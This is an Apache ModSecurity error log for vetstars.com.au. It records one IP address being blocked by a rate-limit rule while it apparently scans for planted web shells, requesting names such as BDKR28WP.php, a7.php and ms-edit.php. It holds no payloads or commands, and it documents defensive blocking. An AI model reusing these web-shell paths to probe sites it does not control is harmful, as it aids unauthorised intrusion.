[Sat May 23 15:34:35.819128 2026] [:error] [pid 30942:tid 31003] [client 132.196.65.22:7709] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahFYi9Uosz64YFiBlG1CYAAAAIA"]
[Sat May 23 15:34:36.208265 2026] [:error] [pid 31039:tid 31055] [client 132.196.65.22:7951] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahFYjKIYDYo8WvA5zLIKyQAAAM4"]
[Sat May 23 15:34:36.680195 2026] [:error] [pid 25876:tid 25882] [client 132.196.65.22:7908] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahFYjASpWUCKPezIBJBkHAAAAQQ"]
[Sat May 23 15:34:37.086888 2026] [:error] [pid 30941:tid 30978] [client 132.196.65.22:7727] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ahFYjXTIgjSDhiZmvlWP8wAAAEI"]
[Sat May 23 15:34:37.495625 2026] [:error] [pid 25876:tid 25889] [client 132.196.65.22:7894] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ahFYjQSpWUCKPezIBJBkIgAAAQs"]
[Sat May 23 15:34:37.898882 2026] [:error] [pid 31039:tid 31051] [client 132.196.65.22:7961] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ahFYjaIYDYo8WvA5zLIKywAAAMo"]
[Sat May 23 15:34:38.331419 2026] [:error] [pid 30941:tid 30988] [client 132.196.65.22:7996] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ahFYjnTIgjSDhiZmvlWP9QAAAEw"]
[Sat May 23 15:34:38.732632 2026] [:error] [pid 30941:tid 30981] [client 132.196.65.22:7967] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "ahFYjnTIgjSDhiZmvlWP9wAAAEU"]
[Sat May 23 15:34:39.111600 2026] [:error] [pid 30941:tid 30982] [client 132.196.65.22:7728] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "ahFYj3TIgjSDhiZmvlWP-AAAAEY"]
[Sat May 23 15:34:39.497614 2026] [:error] [pid 30941:tid 30990] [client 132.196.65.22:7714] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "ahFYj3TIgjSDhiZmvlWP-gAAAE4"]
[Sat May 23 15:34:39.875607 2026] [:error] [pid 30940:tid 30959] [client 132.196.65.22:7711] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "ahFYj5qUP2XZmzp7RDrhggAAAAo"]
[Sat May 23 15:34:40.256831 2026] [:error] [pid 30940:tid 30951] [client 132.196.65.22:7916] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "ahFYkJqUP2XZmzp7RDrhhgAAAAI"]
[Sat May 23 15:34:40.637859 2026] [:error] [pid 30941:tid 30977] [client 132.196.65.22:7995] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "ahFYkHTIgjSDhiZmvlWQAAAAAEE"]
[Sat May 23 15:34:41.020644 2026] [:error] [pid 30941:tid 30993] [client 132.196.65.22:7624] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "ahFYkXTIgjSDhiZmvlWQAQAAAFE"]
[Sat May 23 15:34:41.399384 2026] [:error] [pid 30941:tid 30991] [client 132.196.65.22:7626] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "ahFYkXTIgjSDhiZmvlWQBAAAAE8"]
[Sat May 23 15:34:41.781162 2026] [:error] [pid 31039:tid 31049] [client 132.196.65.22:7616] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "ahFYkaIYDYo8WvA5zLIK0AAAAMg"]
[Sat May 23 15:34:42.154733 2026] [:error] [pid 25876:tid 25889] [client 132.196.65.22:7734] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "ahFYkgSpWUCKPezIBJBkLQAAAQs"]
[Sat May 23 15:34:42.550951 2026] [:error] [pid 30940:tid 30968] [client 132.196.65.22:7918] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "ahFYkpqUP2XZmzp7RDrhiQAAABM"]
[Sat May 23 15:34:42.952614 2026] [:error] [pid 25876:tid 25885] [client 132.196.65.22:7978] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "ahFYkgSpWUCKPezIBJBkLwAAAQc"]
[Sat May 23 15:34:43.343369 2026] [:error] [pid 30941:tid 30982] [client 132.196.65.22:7942] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "ahFYk3TIgjSDhiZmvlWQCAAAAEY"]
[Sat May 23 15:34:43.723826 2026] [:error] [pid 30940:tid 30956] [client 132.196.65.22:7676] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "ahFYk5qUP2XZmzp7RDrhiwAAAAc"]
[Sat May 23 15:34:44.101867 2026] [:error] [pid 30941:tid 30990] [client 132.196.65.22:7623] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "ahFYlHTIgjSDhiZmvlWQCQAAAE4"]
[Sat May 23 15:34:44.483547 2026] [:error] [pid 30942:tid 31015] [client 132.196.65.22:7886] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "ahFYlNUosz64YFiBlG1CZgAAAIw"]
[Sat May 23 15:34:44.866524 2026] [:error] [pid 31039:tid 31046] [client 132.196.65.22:7686] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "ahFYlKIYDYo8WvA5zLIK2QAAAMU"]
[Sat May 23 15:34:45.246280 2026] [:error] [pid 30942:tid 31019] [client 132.196.65.22:7618] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "ahFYldUosz64YFiBlG1CaQAAAJA"]
[Sat May 23 15:34:45.636295 2026] [:error] [pid 30942:tid 31007] [client 132.196.65.22:7966] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "ahFYldUosz64YFiBlG1CawAAAIQ"]
[Sat May 23 15:34:46.025508 2026] [:error] [pid 25876:tid 25893] [client 132.196.65.22:7955] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "ahFYlgSpWUCKPezIBJBkMwAAAQ8"]
[Sat May 23 15:34:46.404635 2026] [:error] [pid 25876:tid 25886] [client 132.196.65.22:7983] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axe.php"] [unique_id "ahFYlgSpWUCKPezIBJBkNAAAAQg"]
[Sat May 23 15:34:46.812666 2026] [:error] [pid 31039:tid 31059] [client 132.196.65.22:7917] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axe.php"] [unique_id "ahFYlqIYDYo8WvA5zLIK4AAAANI"]
[Sat May 23 15:34:47.186299 2026] [:error] [pid 30941:tid 30998] [client 132.196.65.22:7897] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axe.php"] [unique_id "ahFYl3TIgjSDhiZmvlWQGAAAAFY"]
[Sat May 23 15:34:47.564902 2026] [:error] [pid 25876:tid 25882] [client 132.196.65.22:7914] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axe.php"] [unique_id "ahFYlwSpWUCKPezIBJBkOgAAAQQ"]
[Sat May 23 15:34:47.939387 2026] [:error] [pid 30941:tid 30989] [client 132.196.65.22:7937] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "ahFYl3TIgjSDhiZmvlWQGwAAAE0"]
[Sat May 23 15:34:48.323779 2026] [:error] [pid 30940:tid 30951] [client 132.196.65.22:7696] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "ahFYmJqUP2XZmzp7RDrhkwAAAAI"]
[Sat May 23 15:34:48.708729 2026] [:error] [pid 25876:tid 25889] [client 132.196.65.22:7617] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "ahFYmASpWUCKPezIBJBkPwAAAQs"]
[Sat May 23 15:34:49.095699 2026] [:error] [pid 30940:tid 30966] [client 132.196.65.22:7682] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "ahFYmZqUP2XZmzp7RDrhlQAAABE"]
[Sat May 23 15:34:49.487242 2026] [:error] [pid 30940:tid 30953] [client 132.196.65.22:7973] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "ahFYmZqUP2XZmzp7RDrhlwAAAAQ"]
[Sat May 23 15:34:49.873788 2026] [:error] [pid 30940:tid 30968] [client 132.196.65.22:7740] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "ahFYmZqUP2XZmzp7RDrhmAAAABM"]
[Sat May 23 15:34:50.248241 2026] [:error] [pid 30941:tid 30985] [client 132.196.65.22:7906] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "ahFYmnTIgjSDhiZmvlWQJAAAAEk"]
[Sat May 23 15:34:50.635408 2026] [:error] [pid 30941:tid 30983] [client 132.196.65.22:7730] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "ahFYmnTIgjSDhiZmvlWQJQAAAEc"]
[Sat May 23 15:34:51.041824 2026] [:error] [pid 30942:tid 31015] [client 132.196.65.22:7661] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ahFYm9Uosz64YFiBlG1CegAAAIw"]
[Sat May 23 15:34:51.436472 2026] [:error] [pid 30942:tid 31005] [client 132.196.65.22:7905] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ahFYm9Uosz64YFiBlG1CfwAAAII"]
[Sat May 23 15:34:51.814555 2026] [:error] [pid 30941:tid 30990] [client 132.196.65.22:7909] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ahFYm3TIgjSDhiZmvlWQKwAAAE4"]
[Sat May 23 15:34:52.198282 2026] [:error] [pid 25876:tid 25883] [client 132.196.65.22:7648] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ahFYnASpWUCKPezIBJBkQwAAAQU"]
[Sat May 23 15:34:52.590088 2026] [:error] [pid 30940:tid 30959] [client 132.196.65.22:7726] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "ahFYnJqUP2XZmzp7RDrhowAAAAo"]
[Sat May 23 15:34:52.994298 2026] [:error] [pid 31039:tid 31042] [client 132.196.65.22:7879] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "ahFYnKIYDYo8WvA5zLIK5wAAAME"]
[Sat May 23 15:34:53.382176 2026] [:error] [pid 25876:tid 25887] [client 132.196.65.22:7671] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "ahFYnQSpWUCKPezIBJBkRgAAAQk"]
[Sat May 23 15:34:53.768866 2026] [:error] [pid 25876:tid 25892] [client 132.196.65.22:7644] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "ahFYnQSpWUCKPezIBJBkSQAAAQ4"]
[Sat May 23 15:34:54.150007 2026] [:error] [pid 25876:tid 25891] [client 132.196.65.22:7885] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "ahFYngSpWUCKPezIBJBkTAAAAQ0"]
[Sat May 23 15:34:54.524306 2026] [:error] [pid 30940:tid 30966] [client 132.196.65.22:7946] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "ahFYnpqUP2XZmzp7RDrhpwAAABE"]
[Sat May 23 15:34:54.898777 2026] [:error] [pid 30940:tid 30971] [client 132.196.65.22:7904] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "ahFYnpqUP2XZmzp7RDrhqAAAABY"]
[Sat May 23 15:34:55.275220 2026] [:error] [pid 31039:tid 31041] [client 132.196.65.22:7692] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "ahFYn6IYDYo8WvA5zLIK7wAAAMA"]
[Sat May 23 15:34:55.658935 2026] [:error] [pid 25876:tid 25881] [client 132.196.65.22:7719] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "ahFYnwSpWUCKPezIBJBkTwAAAQM"]
[Sat May 23 15:34:56.040438 2026] [:error] [pid 30940:tid 30958] [client 132.196.65.22:7710] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "ahFYoJqUP2XZmzp7RDrhqwAAAAk"]
[Sat May 23 15:34:56.414212 2026] [:error] [pid 25876:tid 25890] [client 132.196.65.22:7913] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "ahFYoASpWUCKPezIBJBkUwAAAQw"]
[Sat May 23 15:34:56.819686 2026] [:error] [pid 25876:tid 25878] [client 132.196.65.22:7685] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "ahFYoASpWUCKPezIBJBkVQAAAQA"]
[Sat May 23 15:35:11.576946 2026] [:error] [pid 30941:tid 30984] [client 132.196.65.22:7924] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ahFYr3TIgjSDhiZmvlWQUAAAAEg"]
[Sat May 23 15:35:11.962191 2026] [:error] [pid 31039:tid 31045] [client 132.196.65.22:7878] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ahFYr6IYDYo8WvA5zLILEAAAAMQ"]
